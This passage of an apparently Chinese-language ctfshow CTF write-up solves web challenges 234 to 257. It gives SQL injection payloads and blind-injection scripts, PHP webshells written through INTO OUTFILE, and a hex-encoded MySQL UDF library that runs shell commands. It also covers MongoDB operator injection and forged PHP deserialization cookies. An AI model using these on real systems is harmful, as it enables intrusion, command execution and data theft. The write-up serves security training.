# payload = f"ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag233333'),{i},1))<{mid}"

# ctfshow{55536d6e-1dc6-47dc-9a53-51b709ea4c64}
payload = f"ascii(substr((select group_concat(flagass233)from flag233333),{i},1))<{mid}"
data = {
"username": f"1' or if(({payload}),sleep(0.05),1)#",
"password": f"1",
}
time.sleep(0.1)
try:
response = requests.post(url=url, data=data, timeout=0.9)
l = mid
except:
r = mid

if flag[-1] == ' ' or flag[-1] == '}':
break

web234

单引号被过滤了,直接用\逃逸就好(找列名哪里表名可以转16进制或者用"包裹)

# 数据库 ctfshow_web
username=,username=(select database()) where id=1#&password=\

# 表名 banlist,ctfshow_user,flag23a
username=,username=(select group_concat(table_name)from information_schema.tables where table_schema=database()) where id=1#&password=\

# 列名 id,flagass23s3,info
username=,username=(select group_concat(column_name)from information_schema.columns where table_name=0x666C6167323361) where id=1#&password=\
username=,username=(select group_concat(column_name)from information_schema.columns where table_name="flag23a") where id=1#&password=\

# ctfshow{adc42c34-0200-452a-b04c-dc465c05ecb2}
username=,username=(select flagass23s3 from flag23a) where id=1#&password=\

web235

禁用了or,无法用information_schema,换别的库,然后无法获取列名,使用无列名注入

# 数据库 ctfshow_web
username=,username=(select database()) where id=1#&password=\

# 表名 banlist,ctfshow_user,flag23a1,gtid_slave_pos
username=,username=(select group_concat(table_name) from mysql.innodb_table_stats) where id=1#&password=\
username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())

# ctfshow{8dc6b582-bb1f-4700-8a60-59a2c552877c}
username=,username=(select `2` from(select 1,2,3 union select * from flag23a1 limit 1,1)a) where id=1#&password=\
username=,username=(select b from(select 1,2 as b,3 union select * from flag23a1 limit 1,1)a) where id=1#&password=\

web236

增加过滤了flag

# 数据库 ctfshow_web
username=,username=(select database()) where id=1#&password=\

# 表名 banlist,ctfshow_user,flaga,gtid_slave_pos
username=,username=(select group_concat(table_name) from mysql.innodb_table_stats) where id=1#&password=\
username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())

# ctfshow{975ab439-77ff-42fd-87be-84a13f913594}
username=,username=(select `2` from(select 1,2,3 union select * from flaga limit 1,1)a) where id=1#&password=\
username=,username=(select b from(select 1,2 as b,3 union select * from flaga limit 1,1)a) where id=1#&password=\
username=,username=(select to_base64(b) from(select 1,2 as b,3 union select * from flaga limit 1,1)a) where id=1#&password=\

web237

查询语句

//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

insert注入,闭合前面的'然后插入自己的数据

insert into ctfshow_user(username,pass) value('1',(select database());#','1');

最终payload(在/api/insert.php页面)

# 数据库 ctfshow_web
username=1',(select database()));#&password=1

# 表名 banlist,ctfshow_user,flag,gtid_slave_pos
username=1',(select group_concat(table_name) from mysql.innodb_table_stats));#&password=1
# banlist,ctfshow_user,flag
username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()));#&password=1

# 列名 id,flagass23s3,info
username=1',(select group_concat(column_name) from information_schema.columns where table_name="flag"));#&password=1

# ctfshow{0cdc4293-2484-435d-9961-4f932090a6a2}
username=1',(select b from(select 1,2 as b,3 union select * from flag limit 1,1)a));#&password=1
username=1',(select flagass23s3 from flag));#&password=1

web238

过滤了空格等,用括号绕过就好

# 数据库 ctfshow_web
username=1',(select(database())))#&password=1

# banlist,ctfshow_user,flagb
username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#&password=1

# 列名 id,flag,info
username=1',(select(group_concat(column_name))from(information_schema.columns)where(table_name="flagb")))#&password=1

# ctfshow{c24af03f-76a7-4531-bfcc-fad472993e2b}
username=1',(select(flag)from(flagb)))#&password=1

web239

在上一题基础上又过滤了or

# 数据库 ctfshow_web
username=1',(select(database())))#&password=1

# banlist,ctfshow_user,flagbb,gtid_slave_pos
username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)))#&password=1

# 无列名没试出来,猜测列名为flag
# ctfshow{924a10ce-aa48-40cf-8805-0cd3c1ad8b41}
username=1',(select(flag)from(flagbb)))#&password=1

web240

开局给了提示

Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写

在上一题基础上又禁用了mysql,爆破一下就好

import re
import requests
import sys

url_insert = "http://472ad1c9-07cb-4687-8a5b-6d471cc8fb34.challenge.ctf.show/api/insert.php"
url_query = "http://472ad1c9-07cb-4687-8a5b-6d471cc8fb34.challenge.ctf.show/api/?page=1&limit=1000"
letters = 'ab'

for i in letters:
for j in letters:
for k in letters:
for l in letters:
for m in letters:
table_name = 'flag' + i + j + k + l + m
data = {
"username": f"1',(select(flag)from({table_name})))#",
"password": "1"
}
r_insert = requests.post(url=url_insert,data=data)
r_query = requests.get(url=url_query)
for i in r_query.json()['data']:
if "ctfshow{" in i['pass']:
print(i['pass'])
sys.exit(0)

web241

时间盲注

#encoding: utf-8
import requests
import re
import string
import time

url = "http://f9c649bd-f226-4838-9cc6-b550d590337b.challenge.ctf.show/api/delete.php"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
#数据库 ctfshow_web
# payload = f"ascii(substr((select database()),{i},1))<{mid}"

#表名 banlist,ctfshow_user,flag
# payload = f"ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}"

#列名 id,flag,info
# payload = f"ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{i},1))<{mid}"

# ctfshow{00a7ac5a-fbac-4e61-b847-ba84f4699af9}
payload = f"ascii(substr((select group_concat(flag)from flag),{i},1))<{mid}"
data = {
"id": f"if(({payload}),sleep(0.05),1)#"
}
time.sleep(0.1)
try:
response = requests.post(url=url, data=data, timeout=0.9)
l = mid
except:
r = mid

if flag[-1] == ' ' or flag[-1] == '}':
break

web242

sql语句

//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

可以使用这3个语句,使查询出来的数据结尾都添加上自定义的内容

lines terminated by
lines starting by
fields terminated by

最终payload

filename=1.php' lines terminated by '<?php eval($_POST[1]);phpinfo();?>'#

然后访问/dump/1.php执行1=system("cat /flag.here");即可

web243

过滤了php,可以先上传.user.ini,然后上传图片🐎即可

filename=.user.ini' lines starting by 'auto_append_file="1.jpg";'#

传🐎

filename=1.jpg' lines starting by '<?=eval($_POST[1]);?>'#

然后访问/dump/index.php并执行1=system("cat /flag.here");

web244

sql语句

//备份表
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

updatexml报错注入

# 数据库 ctfshow_web
/api/?id=1'||updatexml(1,concat(0x7e,(select database()),0x7e),1)%23&page=1&limit=10

# 表名 banlist,ctfshow_flag,ctfshow_us
/api/?id=1'||updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23&page=1&limit=10

# 列名 id,flag,info
/api/?id=1'||updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e),1)%23&page=1&limit=10

# 长度有限制,注意分开取
# ctfshow{2295d52e-d13a-40c6-9361
1'||updatexml(1,concat(0x7e,(select group_concat(flag) from ctfshow_flag),0x7e),1)%23&page=1&limit=10
#-cdf390ded690}
/api/?id=1'||updatexml(1,concat(0x7e,(select right(group_concat(flag),14) from ctfshow_flag),0x7e),1)%23&page=1&limit=10
# 拼接一下即可 ctfshow{2295d52e-d13a-40c6-9361-cdf390ded690}

web245

过滤了updatexml,使用extractvalue报错注入

# 数据库 ctfshow_web
/api/?id=1'||extractvalue(0x0a,concat(0x0a,(select database())))%23&page=1&limit=10

# 表名 banlist,ctfshow_flagsa,ctfshow_
/api/?id=1'||extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23&page=1&limit=10

# 列名 id,flag1,info
/api/?id=1'||extractvalue(0x0a,concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa')))%23&page=1&limit=10

# 长度有限制,注意分开取
# ctfshow{3c98930a-4ff1-4074-bd56
/api/?id=1'||extractvalue(0x0a,concat(0x0a,(select group_concat(flag1) from ctfshow_flagsa)))%23&page=1&limit=10
# -98413a509601}
/api/?id=1'||extractvalue(0x0a,concat(0x0a,(select right(group_concat(flag1),14) from ctfshow_flagsa)))%23&page=1&limit=10
# 拼接一下即可 ctfshow{3c98930a-4ff1-4074-bd56-98413a509601}

web246

在上一关基础上又过滤了extractvalue,使用floor报错注入

# 数据库 ctfshow_web
/api/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select database() limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10

# 表名 ctfshow_flags
/api/?id=
1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10

# 列名 flag2
/api/?id=
1' union select 1,count(*),concat(0x3a,0x3a,(select (column_name) from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10

# ctfshow{2aac7541-6f66-4780-8a44-e8cfa45e1842}
/api/?id=
1' union select 1,count(*),concat(0x3a,0x3a,(select flag2 from ctfshow_flags limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10

web247

在上一关基础上又过滤了floor,使用其他数学函数

round ceil floor

换成ceil即可,注意这一次列名比较特殊,要用反引号包裹

# 数据库 ctfshow_web
/api/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select database() limit 1,1),0x3a,0x3a,ceil(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10

# 表名 ctfshow_flagsa
/api/?id=
1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,ceil(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10

# 列名 flag?
/api/?id=
1' union select 1,count(*),concat(0x3a,0x3a,(select (column_name) from information_schema.columns where table_name='ctfshow_flagsa' limit 1,1),0x3a,0x3a,ceil(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10

# ctfshow{f2cfa4cb-9474-422b-9869-1254c8381897}
/api/?id=
1' union select 1,count(*),concat(0x3a,0x3a,(select `flag?` from ctfshow_flagsa limit 0,1),0x3a,0x3a,ceil(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10

*web248

使用国光师傅的小工具yu22x师傅的脚本

import requests  
url="http://7f4bb2eb-823a-4218-9b38-670163bf025e.challenge.ctf.show/api/"
udf="7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000"
udfs=[]
for i in range(0,len(udf),5000):
udfs.append(udf[i:i+5000])
#写入多个文件中
for i in udfs:
url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23"
requests.get(url1)

#合并文件生成so文件
url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23"
requests.get(url2)

#创建自定义函数并执行恶意命令
requests.get(url+"?id=1';create function sys_eval returns string soname 'hack.so'%23")
r=requests.get(url+"?id=1';select sys_eval('cat /f*')%23")
print(r.text)

web249

sql语句

//无
$user = $memcache->get($id);

Memcache缓存数据库,传入数组即可

/api/?id[]=flag&page=1&limit=10

web250

sql语句

$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();

返回逻辑

//无过滤
if(count($cursor)>0){
$ret['msg']='登陆成功';
array_push($ret['data'], $flag);
}

mongodb注入,使用永真式

username[$ne]=1&password[$ne]=1

也可以配上正则

username[$regex]=.*&password[$regex]=.*
username[$regex]=.&password[$regex]=.
username[$ne]=1&password[$regex]=ct

web251

查下用户名不等于admin的即可

username[$ne]=admin&password[$ne]=1

web252

使用正则

username[$ne]=1&password[$regex]=^ctfshow{

web253

利用正则进行盲注

import requests
import string

# letters = string.ascii_letters + string.digits + '-}{_'
letters = '0123456789abcdef-}'
url = "http://588fe024-d17c-4139-8dde-0b912e3070fe.challenge.ctf.show/api/"

flag = "ctfshow{"
for i in range(60):
for j in letters:
data = {
"username[$ne]": f"1",
"password[$regex]": f"^{flag+j}"
}
response = requests.post(url=url, data=data)
if r'\u767b\u9646\u6210\u529f' in response.text:
flag += j
print(flag)
break
if '}' in flag:
print(flag)
break
# ctfshow{1839bec9-f8ee-49d4-af37-0a660031bd18}

反序列化

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

满足要求即可

/?username=xxxxxx&password=xxxxxx

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

构造exp

<?php
error_reporting(0);

class ctfShowUser{
public $username='a';
public $password='a';
public $isVip=true;
}

$a = new ctfShowUser();
print_r(urlencode(serialize($a)));

?>

最终payload

GET /?username=a&password=a HTTP/1.1
Host: 9ade9863-8899-4452-958a-4cc9e26290ee.challenge.ctf.show
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
Connection: close

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

构造exp

<?php
error_reporting(0);
include('flag.php');

class ctfShowUser{
public $username='a';
public $password='b';
public $isVip=true;

}

$a = new ctfShowUser();
print_r(urlencode(serialize($a)));

?>

最终payload

/?username=a&password=b

Cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
